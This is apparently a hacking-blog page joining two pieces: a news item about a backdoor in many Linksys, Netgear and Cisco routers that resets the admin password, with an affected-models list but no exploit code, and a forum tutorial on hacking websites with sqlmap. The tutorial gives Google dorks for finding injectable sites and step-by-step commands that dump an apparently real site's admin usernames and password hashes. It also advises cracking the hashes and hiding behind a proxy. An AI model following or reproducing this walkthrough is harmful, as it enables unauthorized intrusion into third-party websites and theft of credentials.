How to hack a Wireless DSL Router, Exploit posted online

A hacker from France named “Eloi Vanderbeken”found a way to hack NetGear and Linksys wireless routers on Christmas, and as well as, he distributed that secret exploit in public also.

The secret exploit allows an attacker to change the admin panel password to default without any admin authentication.

Eloi forgot his Linksys WAG200G router’s password and was trying to crack that , he scanned that and found a suspicious open TCP port. He researched on the part deeply and downloaded the copy Linksys firmware and then reverse-engineered that.

After a research 0n that port, he found that was a secret backdoor that allows anyone to send commands on admin basis without admin authentication. Well, it’s a cool exploit for- who really forgot the password, but may be dangerous for them where- Near-by “Hackers situated.”

 Eloi tried to describe you what and how he found the secret exploit, below are the routers which are affected by the Exploit:

• Cisco RVS4000 fwv 2.0.3.2
• Cisco WAP4410N
• Cisco WRVS4400N
• Cisco WRVS4400N
• Diamond DSL642WLG / SerComm IP806Gx v2 TI
• LevelOne WBR3460B
• Linksys RVS4000 Firmware V1.3.3.5
• Linksys WAG120N
• Linksys WAG160n v1 and v2
• Linksys WAG200G
• Linksys WAG320N
• Linksys WAG54G2
• Linksys WAG54GS
• Linksys WRT350N v2 fw 2.00.19
• Linksys WRT300N fw 2.00.17
• Netgear DG834[∅, GB, N, PN, GT] version < 5
• Netgear DGN1000
• Netgear DGN1000[B] N150
• Netgear DGN2000B
• Netgear DGN3500
• Netgear DGND3300
• Netgear DGND3300Bv2 fwv 2.1.00.53_1.00.53GR
• Netgear DM111Pv2
• Netgear JNR3210

May be affected:

• all SerComm manufactured devices
• Linksys WAG160N
• Netgear DG934 probability: probability: 99.99%
• Netgear WG602, WGR614 (v3 doesn’t work, maybe others…)
• Netgear WPNT834

Here is the Exploit code, if you are looking for, and you can find a detailed list of routers which are affected or not HERE.

Hack Website Using SqlMap | Kali Linux

In this tutorial I am going to show you how to hack a website with slqmap on Kali Linux.

Introduction
[*]Sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections. This is all about sqlmap. 
Now follow my steps to hack a website using sqlmap.

Step 1
[*]Find Sql vulnerable site. 
I will give you some dorks which may help you finding websites vulnerable to Sql Injection.

Code:

]inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurllay_old.php?id=
inurl:declaration_more.php?decl_id=
inurlageid=
inurl:games.php?id=
inurlage.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=

Step 2
[*]Test if the website is vulnerable
]To test if the website is vulnerable to Sqli just add " ' " at the end of the url. Like on the image below:



And press enter. If error appears like on the image below it means the website is vulnerable. 




(I'm not going to explain advanced ways to check the website for sql vulnerabiities because there are plenty of tutuorials about that on CHF)

Ok, so we found the target. Now let's go ahed.

Step 3
[*]Injection
Type this command in the terminal and hit enter like on the image below:

Code:

sqlmap -u "www.yourtaget.com/page.php?id=1" --dbs

(Insert the url that we checked for Sql Vulnerability)

Image has been scaled down 6% (700x460). Click this bar to view original image (741x486). Click image to open in new window.

Now we will get the database name of the website.

Image has been scaled down 6% (700x460). Click this bar to view original image (741x486). Click image to open in new window.

We got the two database ohridhot_ohrid
and information_schema we will select ohridhot_ohrid
database.

Let's get the tables of that database.
For that we need to enter this command on terminal and after that hit Enter. 

Code:

sqlmap -u "http://www.yourvictim/page.php?id=1" -D ohridhot_ohrid --tables

Image has been scaled down 4% (700x49). Click this bar to view original image (723x50). Click image to open in new window.

Now we will get the tables list which is stored in the database we selected.

Image has been scaled down 3% (700x257). Click this bar to view original image (717x263). Click image to open in new window.

Now lets grab the columns from the admin table , type on terminal:

Code:

sqlmap -u "http://www.yourvictim/page.php?id=1" -D ohridhot_ohrid -T admin --columns

Now we got the columns and we got user and pass like on the image below

Image has been scaled down 1% (700x130). Click this bar to view original image (703x130). Click image to open in new window.

Now let's grab the user and pass

Code:

sqlmap -u "http://www.yourvictim/page.php?id=1" -D ohridhot_ohrid -T admin -C user,pass --dump

Now we have to decrypt the hash , there are also tutorial about hash decryption on CHF.
The only thing which is left now is to find the admin page and remember to use Proxy/Vpn !

[*]Directory of sqlmap on Kali Linux
Places -> Computer -> Filesystem -> usr -> share -> sqlmap -> output


That's all , I hope you enjoyed the tutorial. 

Credit : CrackHackForum